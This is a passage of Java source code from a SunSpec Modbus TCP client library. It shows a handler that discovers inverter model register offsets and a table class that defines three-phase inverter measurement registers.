ch.retep.relleum.sunspec.read.table.Table0009SetOperatorSecurityCertificate; import ch.retep.relleum.sunspec.read.table.Table0010CommunicationInterfaceHeader; import ch.retep.relleum.sunspec.read.table.Table0011EthernetLinkLayer; import ch.retep.relleum.sunspec.read.table.Table0012IPv4; import ch.retep.relleum.sunspec.read.table.Table0103InverterThreePhase; import ch.retep.relleum.sunspec.read.table.Table0120Nameplate; import ch.retep.relleum.sunspec.read.table.Table0121BasicSettings; import ch.retep.relleum.sunspec.read.table.Table0122MeasurementsStatus; import ch.retep.relleum.sunspec.read.table.Table0123ImmediateControls; import ch.retep.relleum.sunspec.read.table.Table0124Storage; import ch.retep.relleum.sunspec.read.table.Table0126VoltVAR; import ch.retep.relleum.sunspec.read.table.Table0127FreqWattParam; import ch.retep.relleum.sunspec.read.table.Table0128DynamicReactiveCurrent; import ch.retep.relleum.sunspec.read.table.Table0131WattPF; import ch.retep.relleum.sunspec.read.table.Table0132VoltWatt; import ch.retep.relleum.sunspec.read.table.Table0160MultipleMPPTInverterExtensionModel; import ch.retep.relleum.sunspec.read.table.TableIdL; import ch.retep.relleum.sunspec.read.table.TableSunspec; import static java.lang.System.out; import static java.lang.Thread.sleep; /** * @author Peter */ public class TcpModbusHandler extends SunSpecVariables { protected int modbusRegisterNumber = 0; private Vector<Table> vector = new Vector<>(); /** * */ public int modelIdNr; private RegisterUint16 modelID = null; private RegisterUint16 numberPicsTable = null; private TableIdL tableIdL = null; private boolean isInit = true; public boolean connect(SunSpecAdressItem sunSpecAdressItem) { boolean ret=super.connect(sunSpecAdressItem); if (ret) { vector = new Vector<>(); modbusRegisterNumber = sunSpecAdressItem.getStartingAdress(); init(); } return ret; } public void setStartingAdress(int startingAdress) { modbusRegisterNumber =startingAdress; } /** * @param inetAddress * @param port * @return */ @Override public boolean connect(InetAddress inetAddress, int port) { return connect(inetAddress, port, 40000); } /** * @param inetAddress * @param port * @param sunspecModbusRegisterStasrtNumber * @return */ public boolean connect(InetAddress inetAddress, int port, int sunspecModbusRegisterStasrtNumber) { try { sleep(100); } catch (InterruptedException ex) { System.err.println(ex.getMessage()); } boolean ret = super.connect(inetAddress, port); vector = new Vector<>(); setStartingAdress(sunspecModbusRegisterStasrtNumber); init(); return ret; } private void init() { modbusRegisterNumber = getModbusRegisterNumber() + 1; TableSunspec tableSunspec = new TableSunspec(this) { @Override public void doOnResponse() { super.doOnResponse(); if (getSunSpecID().toLong() != 0x53756e53) { out.println("ModbusSunspecException"+getSunSpecID().toLong()) ; } else { out.println("ModbusSunspecID"); sendRequest(tableIdL); } } }; modbusRegisterNumber = getModbusRegisterNumber() + 1; modbusRegisterNumber = getModbusRegisterNumber() + 1; tableIdL = new TableIdL(this) { @Override public void doOnResponse() { super.doOnResponse(); if (!getID().isNaN()) { setModbusRegisterNr((int) getID().toLong(), getModbusRegisterNumber(), (int) getL().toLong()); modbusRegisterNumber = getModbusRegisterNumber() + (int) getL().toLong() + 2; init(getModbusRegisterNumber(), 0, 2, "Model ID init", "", "Model ID init", Rw.nan, Mandatory.nan); sendRequest(this); } else { isInit = false; } } }; sendRequest(tableSunspec); while (isInit) { try { sleep(100); } catch (InterruptedException ex) { System.err.println(ex.getMessage()); } } } public void setModbusRegisterNr(int modelIdNr, int modbusRegisterNumber, int qreg) { switch (modelIdNr) { case 1: common_1 = modbusRegisterNumber; Table0001Common table0001Common = new Table0001Common(this); table0001Common.setQuantityOfRegisters(qreg + 4); vector.add(table0001Common); break; case 2: basicAggregator_2 = modbusRegisterNumber; Table0002BasicAggregator table0002BasicAggregator = new Table0002BasicAggregator(this); table0002BasicAggregator.setQuantityOfRegisters(qreg + 2); vector.add(new Table0002BasicAggregator(this)); break; case 3: secureDatasetReadRequest_3 = modbusRegisterNumber; Table0003SecureDatasetReadRequest table0003SecureDatasetReadRequest = new Table0003SecureDatasetReadRequest(this); table0003SecureDatasetReadRequest.setQuantityOfRegisters(qreg + 2); vector.add(table0003SecureDatasetReadRequest); break; case 4: secureDatasetReadResponse_4 = modbusRegisterNumber; Table0004SecureDatasetReadResponse table0004SecureDatasetReadResponse = new Table0004SecureDatasetReadResponse(this); table0004SecureDatasetReadResponse.setQuantityOfRegisters(qreg + 2); vector.add(table0004SecureDatasetReadResponse); break; case 5: secureWriteRequest_5 = modbusRegisterNumber; Table0005SecureWriteRequest table0005SecureWriteRequest = new Table0005SecureWriteRequest(this); table0005SecureWriteRequest.setQuantityOfRegisters(qreg + 2); vector.add(table0005SecureWriteRequest); break; case 6: secureWriteSequentialRequest_6 = modbusRegisterNumber; Table0006SecureWriteSequentialRequest table0006SecureWriteSequentialRequest = new Table0006SecureWriteSequentialRequest(this); table0006SecureWriteSequentialRequest.setQuantityOfRegisters(qreg + 2); vector.add(table0006SecureWriteSequentialRequest); break; case 7: secureWriteResponseModelDRAFT1_7 = modbusRegisterNumber; Table0007SecureWriteResponseModelDRAFT1 table0007SecureWriteResponseModelDRAFT1 = new Table0007SecureWriteResponseModelDRAFT1(this); table0007SecureWriteResponseModelDRAFT1.setQuantityOfRegisters(qreg + 2); vector.add(table0007SecureWriteResponseModelDRAFT1); break; case 8: getDeviceSecurityCertificate_8 = modbusRegisterNumber; Table0008GetDeviceSecurityCertificate table0008GetDeviceSecurityCertificate = new Table0008GetDeviceSecurityCertificate(this); table0008GetDeviceSecurityCertificate.setQuantityOfRegisters(qreg + 2); vector.add(table0008GetDeviceSecurityCertificate); break; case 9: setOperatorSecurityCertificate_9 = modbusRegisterNumber; Table0009SetOperatorSecurityCertificate table0009SetOperatorSecurityCertificate = new Table0009SetOperatorSecurityCertificate(this); table0009SetOperatorSecurityCertificate.setQuantityOfRegisters(qreg + 2); vector.add(table0009SetOperatorSecurityCertificate); break; case 10: communicationInterfaceHeader_10 = modbusRegisterNumber; Table0010CommunicationInterfaceHeader table0010CommunicationInterfaceHeader = new Table0010CommunicationInterfaceHeader(this); table0010CommunicationInterfaceHeader.setQuantityOfRegisters(qreg + 2); vector.add(table0010CommunicationInterfaceHeader); break; case 11: ethernetLinkLayer_11 = modbusRegisterNumber; Table0011EthernetLinkLayer table0011EthernetLinkLayer = new Table0011EthernetLinkLayer(this); table0011EthernetLinkLayer.setQuantityOfRegisters(qreg + 2); vector.add(table0011EthernetLinkLayer); break; case 12: iPv4_12 = modbusRegisterNumber; Table0012IPv4 table0012IPv4 = new Table0012IPv4(this); table0012IPv4.setQuantityOfRegisters(qreg + 2); vector.add(table0012IPv4); break; case 13: iPv6_13 = modbusRegisterNumber; break; case 14: proxyServer_14 = modbusRegisterNumber; break; case 15: interfaceCountersModel_15 = modbusRegisterNumber; break; case 16: simpleIPNetwork_16 = modbusRegisterNumber; break; case 17: serialInterface_17 = modbusRegisterNumber; break; case 18: CcellularLink_18 = modbusRegisterNumber; break; case 19: pPPLink_19 = modbusRegisterNumber; break; case 101: inverterSinglePhase_101 = modbusRegisterNumber; break; case 102: inverterSplitPhase_102 = modbusRegisterNumber; break; case 103: inverterThreePhase_103 = modbusRegisterNumber; Table0103InverterThreePhase table0103InverterThreePhase = new Table0103InverterThreePhase(this); table0103InverterThreePhase.setQuantityOfRegisters(qreg + 2); vector.add(table0103InverterThreePhase); break; case 111: inverterSinglePhaseFLOAT_111 = modbusRegisterNumber; break; case 112: inverterSplitPhaseFLOAT_112 = modbusRegisterNumber; break; case 113: inverterThreePhaseFLOAT_113 = modbusRegisterNumber; break; case 120: nameplate_120 = modbusRegisterNumber; Table0120Nameplate table0120Nameplate = new Table0120Nameplate(this); table0120Nameplate.setQuantityOfRegisters(qreg + 2); vector.add(table0120Nameplate); break; case 121: basicSettings_121 = modbusRegisterNumber; Table0121BasicSettings table0121BasicSettings = new Table0121BasicSettings(this); table0121BasicSettings.setQuantityOfRegisters(qreg + 2); vector.add(table0121BasicSettings); break; case 122: measurementsStatus_122 = modbusRegisterNumber; Table0122MeasurementsStatus table0122MeasurementsStatus = new Table0122MeasurementsStatus(this); table0122MeasurementsStatus.setQuantityOfRegisters(qreg + 2); vector.add(table0122MeasurementsStatus); break; case 123: immediateControls_123 = modbusRegisterNumber; Table0123ImmediateControls table0123ImmediateControls = new Table0123ImmediateControls(this); table0123ImmediateControls.setQuantityOfRegisters(qreg + 2); vector.add(table0123ImmediateControls); break; case 124: storage_124 = modbusRegisterNumber; Table0124Storage table0124Storage = new Table0124Storage(this); table0124Storage.setQuantityOfRegisters(qreg + 2); vector.add(table0124Storage); break; case 125: pricing_125 = modbusRegisterNumber; break; case 126: voltVAR_126 = modbusRegisterNumber; Table0126VoltVAR table0126StaticVoltVAR = new Table0126VoltVAR(this); table0126StaticVoltVAR.setQuantityOfRegisters(qreg + 2); vector.add(table0126StaticVoltVAR); break; case 127: freqWattParam_127 = modbusRegisterNumber; Table0127FreqWattParam table0127FreqWattParam = new Table0127FreqWattParam(this); table0127FreqWattParam.setQuantityOfRegisters(qreg + 2); vector.add(table0127FreqWattParam); break; case 128: dynamicReactiveCurrent_128 = modbusRegisterNumber; Table0128DynamicReactiveCurrent table0128DynamicReactiveCurrent = new Table0128DynamicReactiveCurrent(this); table0128DynamicReactiveCurrent.setQuantityOfRegisters(qreg + 2); vector.add(table0128DynamicReactiveCurrent); break; case 129: lVRTD_129 = modbusRegisterNumber; break; case 130: hVRTD_130 = modbusRegisterNumber; break; case 131: wattPF_131 = modbusRegisterNumber; Table0131WattPF table0131WattPF = new Table0131WattPF(this); table0131WattPF.setQuantityOfRegisters(qreg + 2); vector.add(table0131WattPF); break; case 132: voltWatt_132 = modbusRegisterNumber; Table0132VoltWatt table0132VoltWatt = new Table0132VoltWatt(this); table0132VoltWatt.setQuantityOfRegisters(qreg + 2); vector.add(table0132VoltWatt); break; case 133: basicScheduling_133 = modbusRegisterNumber; break; case 134: freqWattCrv_134 = modbusRegisterNumber; break; case 135: lFRT_135 = modbusRegisterNumber; break; case 136: hFRT_136 = modbusRegisterNumber; break; case 137: lVRTC_137 = modbusRegisterNumber; break; case 138: hVRTC_138 = modbusRegisterNumber; break; case 139: lVRTX_139 = modbusRegisterNumber; break; case 140: hVRTX_140 = modbusRegisterNumber; break; case 141: lFRTC_141 = modbusRegisterNumber; break; case 142: hFRTC_142 = modbusRegisterNumber; break; case 143: lFRTX_143 = modbusRegisterNumber; break; case 144: lFRTX_144 = modbusRegisterNumber; break; case 145: extendedSettings_145 = modbusRegisterNumber; break; case 160: multipleMPPTInverterExtensionModel_160 = modbusRegisterNumber; Table0160MultipleMPPTInverterExtensionModel table0160MultipleMPPTInverterExtensionModel = new Table0160MultipleMPPTInverterExtensionModel(this); table0160MultipleMPPTInverterExtensionModel.setQuantityOfRegisters(qreg + 2); vector.add(table0160MultipleMPPTInverterExtensionModel); break; case 201: meterSinglePhasesinglephaseANorABmeter_201 = modbusRegisterNumber; break; case 202: splitsinglephaseABNmeter_202 = modbusRegisterNumber; break; case 2203: wyeConnectthreephaseabcnmeter_203 = modbusRegisterNumber; break; case 204: deltaConnectthreephaseabcmeter_204 = modbusRegisterNumber; break; case 211: singlephaseANorABmeter_211 = modbusRegisterNumber; break; case 212: splitsinglephaseABNmeter_212 = modbusRegisterNumber; break; case 213: wyeConnectthreephaseabcnmeter_213 = modbusRegisterNumber; break; case 214: deltaConnectthreephaseabcmeter_214 = modbusRegisterNumber; break; case 220: secureACMeterSelectedReadings_220 = modbusRegisterNumber; break; case 302: irradianceModel_302 = modbusRegisterNumber; break; case 303: backofModuleTemperatureModel_303 = modbusRegisterNumber; break; case 304: inclinometerModel_304 = modbusRegisterNumber; break; case 305: gPS_305 = modbusRegisterNumber; break; case 306: referencePointModel_306 = modbusRegisterNumber; break; case 307: baseMet_307 = modbusRegisterNumber; break; case 308: miniMetModel_308 = modbusRegisterNumber; break; case 401: stringCombinerCurrent_401 = modbusRegisterNumber; break; case 402: stringCombinerAdvanced_402 = modbusRegisterNumber; break; case 403: stringCombinerCurrent_403 = modbusRegisterNumber; break; case 404: stringCombinerAdvanced_404 = modbusRegisterNumber; break; case 501: solarModule_501 = modbusRegisterNumber; break; case 502: solarModule_502 = modbusRegisterNumber; break; case 601: trackerControllerDRAFT2_601 = modbusRegisterNumber; break; case 801: energyStorageBaseModelDEPRECATED_801 = modbusRegisterNumber; break; case 802: batteryBaseModel_802 = modbusRegisterNumber; break; case 803: lithiumIonBatteryBankModel_803 = modbusRegisterNumber; break; case 804: lithiumIonStringModel_804 = modbusRegisterNumber; break; case 805: lithiumIonModuleModel_805 = modbusRegisterNumber; break; case 806: flowBatteryModel_806 = modbusRegisterNumber; break; case 807: flowBatteryStringModel_807 = modbusRegisterNumber; break; case 808: flowBatteryModuleModel_808 = modbusRegisterNumber; break; case 809: flowBatteryStackModel_809 = modbusRegisterNumber; break; case 63001: sunSpecTestModel1_63001 = modbusRegisterNumber; break; case 63002: sunSpecTestModel2_63002 = modbusRegisterNumber; break; case 64001: verisStatusandConfiguration_64001 = modbusRegisterNumber; break; case 64020: mersenGreenString_64020 = modbusRegisterNumber; break; case 64101: eltekInverterExtension_64101 = modbusRegisterNumber; break; case 64110: outBackAXSdevice_64110 = modbusRegisterNumber; break; case 64111: basicChargeController_64111 = modbusRegisterNumber; break; case 64112: outBackFMChargeController_64112 = modbusRegisterNumber; break; } } /** * @return */ public Iterator<Table> getTables() { return vector.iterator(); } /** * */ public void sendAllTable() { for (Iterator<Table> iterator = getTables(); iterator.hasNext(); ) { sendRequest(iterator.next()); } } /** * */ public void sendAllMessage() { for (Iterator<Table> iterator = getTables(); iterator.hasNext(); ) { Table table = iterator.next(); for (Iterator<Read0X03> iteratorRegister = table.getMessages(); iteratorRegister.hasNext(); ) { sendRequest(iteratorRegister.next()); } } } public Hashtable<Long, Read0X03> getAllMessage() { Hashtable<Long, Read0X03> longRead0X03Hashtable = new Hashtable<>(); for (Iterator<Table> iterator = getTables(); iterator.hasNext(); ) { Table table = iterator.next(); for (Iterator<Read0X03> iteratorRegister = table.getMessages(); iteratorRegister.hasNext(); ) { longRead0X03Hashtable.put((long) iteratorRegister.next().getStartingAddress(), iteratorRegister.next()); } } return longRead0X03Hashtable; } public int getModbusRegisterNumber() { return modbusRegisterNumber; } } <file_sep>/* * Copyright © 2016 , <NAME>. All rights reserved. * * * THE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY * KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES * OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND * NONINFRINGEMENT. IN NO EVENT SHALL THE CONTRIBUTORS OR COPYRIGHT * HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER * IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR * IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE * SOFTWARE. */ /* * To change this license header, choose License Headers in Project Properties. * To change this template file, choose Tools | Templates * and open the template in the editor. */ package ch.retep.relleum.sunspec.read.table; import ch.retep.relleum.modbus.datatype.RegisterBitfield32; import ch.retep.relleum.modbus.datatype.RegisterDouble; import ch.retep.relleum.modbus.datatype.RegisterDoubleACC32; import ch.retep.relleum.modbus.datatype.RegisterEnum16; import ch.retep.relleum.modbus.datatype.RegisterSunssf; import ch.retep.relleum.modbus.datatype.RegisterUDouble; import ch.retep.relleum.modbus.datatype.RegisterUint16; import ch.retep.relleum.modbus.datatype.Table; import ch.retep.relleum.sunspec.TcpModbusHandler; import ch.retep.relleum.sunspec.datatype.RetepBitMask; import ch.retep.relleum.sunspec.datatype.RetepDouble; import ch.retep.relleum.sunspec.datatype.RetepEnum; import ch.retep.relleum.sunspec.datatype.RetepLong; /** * @author Peter */ public class Table0103InverterThreePhase extends Table { private ID inverterThreePhase00ID; private L inverterThreePhase01L; private A_SF inverterThreePhase06A_SF; private A inverterThreePhase02A; private AphA inverterThreePhase03AphA; private AphB inverterThreePhase04AphB; private AphC inverterThreePhase05AphC; private V_SF inverterThreePhase13V_SF; private PPVphAB inverterThreePhase07PPVphAB; private PPVphBC inverterThreePhase08PPVphBC; private PPVphCA inverterThreePhase09PPVphCA; private PhVphA inverterThreePhase10PhVphA; private PhVphB inverterThreePhase11PhVphB; private PhVphC inverterThreePhase12PhVphC; private W_SF inverterThreePhase15W_SF; private W inverterThreePhase14W; private Hz_SF inverterThreePhase17Hz_SF; private Hz inverterThreePhase16Hz; private VA_SF inverterThreePhase19VA_SF; private VA inverterThreePhase18VA; private VAr_SF inverterThreePhase21VAr_SF; private VAr inverterThreePhase20VAr; private PF_SF inverterThreePhase23PF_SF; private PF inverterThreePhase22PF; private WH_SF inverterThreePhase26WH_SF; private WH inverterThreePhase24WH; private DCA_SF inverterThreePhase28DCA_SF; private DCA inverterThreePhase27DCA; private DCV_SF inverterThreePhase30DCV_SF; private DCV inverterThreePhase29DCV; private DCW_SF inverterThreePhase32DCW_SF; private DCW inverterThreePhase31DCW; private Tmp_SF inverterThreePhase37Tmp_SF; private TmpCab inverterThreePhase33TmpCab; private TmpSnk inverterThreePhase34TmpSnk; private TmpTrns inverterThreePhase35TmpTrns; private TmpOt inverterThreePhase36TmpOt; private St inverterThreePhase38St; private StVnd inverterThreePhase39StVnd; private Evt1 inverterThreePhase40Evt1; private Evt2 inverterThreePhase42Evt2; private EvtVnd1 inverterThreePhase44EvtVnd1; private EvtVnd2 inverterThreePhase46EvtVnd2; private EvtVnd3 inverterThreePhase48EvtVnd3; private EvtVnd4 inverterThreePhase50EvtVnd4; public Table0103InverterThreePhase(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 0, 52, "Inverter Three Phase", "", "nverter Three Phase", Rw.nan, Mandatory.nan); inverterThreePhase00ID = new ID(tcpModbusHandler); inverterThreePhase01L = new L(tcpModbusHandler); inverterThreePhase06A_SF = new A_SF(tcpModbusHandler); inverterThreePhase02A = new A(inverterThreePhase06A_SF, tcpModbusHandler); inverterThreePhase03AphA = new AphA(inverterThreePhase06A_SF, tcpModbusHandler); inverterThreePhase04AphB = new AphB(inverterThreePhase06A_SF, tcpModbusHandler); inverterThreePhase05AphC = new AphC(inverterThreePhase06A_SF, tcpModbusHandler); inverterThreePhase13V_SF = new V_SF(tcpModbusHandler); inverterThreePhase07PPVphAB = new PPVphAB(inverterThreePhase13V_SF, tcpModbusHandler); inverterThreePhase08PPVphBC = new PPVphBC(inverterThreePhase13V_SF, tcpModbusHandler); inverterThreePhase09PPVphCA = new PPVphCA(inverterThreePhase13V_SF, tcpModbusHandler); inverterThreePhase10PhVphA = new PhVphA(inverterThreePhase13V_SF, tcpModbusHandler); inverterThreePhase11PhVphB = new PhVphB(inverterThreePhase13V_SF, tcpModbusHandler); inverterThreePhase12PhVphC = new PhVphC(inverterThreePhase13V_SF, tcpModbusHandler); inverterThreePhase15W_SF = new W_SF(tcpModbusHandler); inverterThreePhase14W = new W(inverterThreePhase15W_SF, tcpModbusHandler); inverterThreePhase17Hz_SF = new Hz_SF(tcpModbusHandler); inverterThreePhase16Hz = new Hz(inverterThreePhase17Hz_SF, tcpModbusHandler); inverterThreePhase19VA_SF = new VA_SF(tcpModbusHandler); inverterThreePhase18VA = new VA(inverterThreePhase19VA_SF, tcpModbusHandler); inverterThreePhase21VAr_SF = new VAr_SF(tcpModbusHandler); inverterThreePhase20VAr = new VAr(inverterThreePhase21VAr_SF, tcpModbusHandler); inverterThreePhase23PF_SF = new PF_SF(tcpModbusHandler); inverterThreePhase22PF = new PF(inverterThreePhase23PF_SF, tcpModbusHandler); inverterThreePhase26WH_SF = new WH_SF(tcpModbusHandler); inverterThreePhase24WH = new WH(inverterThreePhase26WH_SF, tcpModbusHandler); inverterThreePhase28DCA_SF = new DCA_SF(tcpModbusHandler); inverterThreePhase27DCA = new DCA(inverterThreePhase28DCA_SF, tcpModbusHandler); inverterThreePhase30DCV_SF = new DCV_SF(tcpModbusHandler); inverterThreePhase29DCV = new DCV(inverterThreePhase30DCV_SF, tcpModbusHandler); inverterThreePhase32DCW_SF = new DCW_SF(tcpModbusHandler); inverterThreePhase31DCW = new DCW(inverterThreePhase32DCW_SF, tcpModbusHandler); inverterThreePhase37Tmp_SF = new Tmp_SF(tcpModbusHandler); inverterThreePhase33TmpCab = new TmpCab(inverterThreePhase37Tmp_SF, tcpModbusHandler); inverterThreePhase34TmpSnk = new TmpSnk(inverterThreePhase37Tmp_SF, tcpModbusHandler); inverterThreePhase35TmpTrns = new TmpTrns(inverterThreePhase37Tmp_SF, tcpModbusHandler); inverterThreePhase36TmpOt = new TmpOt(inverterThreePhase37Tmp_SF, tcpModbusHandler); inverterThreePhase38St = new St(tcpModbusHandler); inverterThreePhase39StVnd = new StVnd(tcpModbusHandler); inverterThreePhase40Evt1 = new Evt1(tcpModbusHandler); inverterThreePhase42Evt2 = new Evt2(tcpModbusHandler); inverterThreePhase44EvtVnd1 = new EvtVnd1(tcpModbusHandler); inverterThreePhase46EvtVnd2 = new EvtVnd2(tcpModbusHandler); inverterThreePhase48EvtVnd3 = new EvtVnd3(tcpModbusHandler); inverterThreePhase50EvtVnd4 = new EvtVnd4(tcpModbusHandler); vector.add(inverterThreePhase00ID); vector.add(inverterThreePhase01L); vector.add(inverterThreePhase13V_SF); vector.add(inverterThreePhase06A_SF); vector.add(inverterThreePhase15W_SF); vector.add(inverterThreePhase17Hz_SF); vector.add(inverterThreePhase19VA_SF); vector.add(inverterThreePhase21VAr_SF); vector.add(inverterThreePhase23PF_SF); vector.add(inverterThreePhase26WH_SF); vector.add(inverterThreePhase28DCA_SF); vector.add(inverterThreePhase30DCV_SF); vector.add(inverterThreePhase32DCW_SF); vector.add(inverterThreePhase37Tmp_SF); vector.add(inverterThreePhase02A); vector.add(inverterThreePhase03AphA); vector.add(inverterThreePhase04AphB); vector.add(inverterThreePhase05AphC); vector.add(inverterThreePhase07PPVphAB); vector.add(inverterThreePhase08PPVphBC); vector.add(inverterThreePhase09PPVphCA); vector.add(inverterThreePhase10PhVphA); vector.add(inverterThreePhase11PhVphB); vector.add(inverterThreePhase12PhVphC); vector.add(inverterThreePhase14W); vector.add(inverterThreePhase16Hz); vector.add(inverterThreePhase18VA); vector.add(inverterThreePhase20VAr); vector.add(inverterThreePhase22PF); vector.add(inverterThreePhase24WH); vector.add(inverterThreePhase27DCA); vector.add(inverterThreePhase29DCV); vector.add(inverterThreePhase31DCW); vector.add(inverterThreePhase33TmpCab); vector.add(inverterThreePhase34TmpSnk); vector.add(inverterThreePhase35TmpTrns); vector.add(inverterThreePhase36TmpOt); vector.add(inverterThreePhase38St); vector.add(inverterThreePhase39StVnd); vector.add(inverterThreePhase40Evt1); vector.add(inverterThreePhase42Evt2); vector.add(inverterThreePhase44EvtVnd1); vector.add(inverterThreePhase46EvtVnd2); vector.add(inverterThreePhase48EvtVnd3); vector.add(inverterThreePhase50EvtVnd4); } /** * @return */ public RetepEnum getID() { return inverterThreePhase00ID; } /** * @return */ public RetepLong getL() { return inverterThreePhase01L; } /** * @return */ public RetepDouble getA() { return inverterThreePhase02A; } /** * @return */ public RetepDouble getAphA() { return inverterThreePhase03AphA; } /** * @return */ public RetepDouble getAphB() { return inverterThreePhase04AphB; } /** * @return */ public RetepDouble getAphC() { return inverterThreePhase05AphC; } /** * @return */ public RetepLong getA_SF() { return inverterThreePhase06A_SF; } /** * @return */ public RetepDouble getPPVphAB() { return inverterThreePhase07PPVphAB; } /** * @return */ public RetepDouble getPPVphBC() { return inverterThreePhase08PPVphBC; } /** * @return */ public RetepDouble getPPVphCA() { return inverterThreePhase09PPVphCA; } /** * @return */ public RetepDouble getPhVphA() { return inverterThreePhase10PhVphA; } /** * @return */ public RetepDouble getPhVphB() { return inverterThreePhase11PhVphB; } /** * @return */ public RetepDouble getPhVphC() { return inverterThreePhase12PhVphC; } /** * @return */ public RetepLong getV_SF() { return inverterThreePhase13V_SF; } /** * @return */ public RetepDouble getW() { return inverterThreePhase14W; } /** * @return */ public RetepLong getW_SF() { return inverterThreePhase15W_SF; } /** * @return */ public RetepDouble getHz() { return inverterThreePhase16Hz; } /** * @return */ public RetepLong getHz_SF() { return inverterThreePhase17Hz_SF; } /** * @return */ public RetepDouble getVA() { return inverterThreePhase18VA; } /** * @return */ public RetepLong getVA_SF() { return inverterThreePhase19VA_SF; } /** * @return */ public RetepDouble getVAr() { return inverterThreePhase20VAr; } /** * @return */ public RetepLong getVAr_SF() { return inverterThreePhase21VAr_SF; } /** * @return */ public RetepDouble getPF() { return inverterThreePhase22PF; } /** * @return */ public RetepLong getPF_SF() { return inverterThreePhase23PF_SF; } /** * @return */ public RetepDouble getWH() { return inverterThreePhase24WH; } /** * @return */ public RetepLong getWH_SF() { return inverterThreePhase26WH_SF; } /** * @return */ public RetepDouble getDCA() { return inverterThreePhase27DCA; } /** * @return */ public RetepLong getDCA_SF() { return inverterThreePhase28DCA_SF; } /** * @return */ public RetepDouble getDCV() { return inverterThreePhase29DCV; } /** * @return */ public RetepLong getDCV_SF() { return inverterThreePhase30DCV_SF; } /** * @return */ public RetepDouble getDCW() { return inverterThreePhase31DCW; } /** * @return */ public RetepLong getDCW_SF() { return inverterThreePhase32DCW_SF; } /** * @return */ public RetepDouble getTmpCab() { return inverterThreePhase33TmpCab; } /** * @return */ public RetepDouble getTmpSnk() { return inverterThreePhase34TmpSnk; } /** * @return */ public RetepDouble getTmpTrns() { return inverterThreePhase35TmpTrns; } /** * @return */ public RetepDouble getTmpOt() { return inverterThreePhase36TmpOt; } /** * @return */ public RetepLong getTmp_SF() { return inverterThreePhase37Tmp_SF; } /** * @return */ public RetepEnum getSt() { return inverterThreePhase38St; } /** * @return */ public RetepEnum getStVnd() { return inverterThreePhase39StVnd; } /** * @return */ public RetepBitMask getEvt1() { return inverterThreePhase40Evt1; } /** * @return */ public RetepBitMask getEvt2() { return inverterThreePhase42Evt2; } /** * @return */ public RetepBitMask getEvtVnd1() { return inverterThreePhase44EvtVnd1; } /** * @return */ public RetepBitMask getEvtVnd2() { return inverterThreePhase46EvtVnd2; } /** * @return */ public RetepBitMask getEvtVnd3() { return inverterThreePhase48EvtVnd3; } /** * @return */ public RetepBitMask getEvtVnd4() { return inverterThreePhase50EvtVnd4; } /** * */ public class ID extends RegisterEnum16 { public ID(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 0, 1, "Model", "", "Include this model for three phase inverter monitoring", Rw.R, Mandatory.M); hashtable.put((long) 103, "SunSpec Inverter (Three Phase)"); } } /** * */ public class L extends RegisterUint16 { public L(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 1, 1, "Model Length", "", "Model Length", Rw.R, Mandatory.M); } } /** * */ public class A extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public A(A_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 2, 1, "Amps", "A", "AC Current", Rw.R, Mandatory.M); } } /** * */ public class AphA extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public AphA(A_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 3, 1, "Amps Phase A", "A", "Phase A Current", Rw.R, Mandatory.M); } } /** * */ public class AphB extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public AphB(A_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 4, 1, "Amps Phase B", "A", "Phase B Current", Rw.R, Mandatory.M); } } /** * */ public class AphC extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public AphC(A_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 5, 1, "Amps Phase C", "A", "Phase C Current", Rw.R, Mandatory.M); } } /** * */ public class A_SF extends RegisterSunssf { public A_SF(TcpModbusHandler tcpModbusHandler) { init(tcpModbusHandler.getInverterThreePhase_103(), 6, 1, "A_SF", "", "A_SF", Rw.R, Mandatory.M); } } /** * */ public class PPVphAB extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public PPVphAB(V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 7, 1, "Phase Voltage AB", "V", "Phase Voltage AB", Rw.R, Mandatory.O); } } /** * */ public class PPVphBC extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public PPVphBC(V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 8, 1, "Phase Voltage BC", "V", "Phase Voltage BC", Rw.R, Mandatory.O); } } /** * */ public class PPVphCA extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public PPVphCA(V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 9, 1, "Phase Voltage CA", "V", "Phase Voltage CA", Rw.R, Mandatory.O); } } /** * */ public class PhVphA extends RegisterUDouble { /** * @param aScalFactor * @param tcpModbusHandler */ public PhVphA(V_SF aScalFactor, TcpModbusHandler tcpModbusHandler) { setScaleFactorMessage(aScalFactor); init(tcpModbusHandler.getInverterThreePhase_103(), 10, 1, "Phase Voltage AN", "V", "Phase Voltage AN", Rw.R, Mandatory.M); } } /** * */ public class PhVphB extends RegisterUDouble { /** * @param aScalFactor * @param 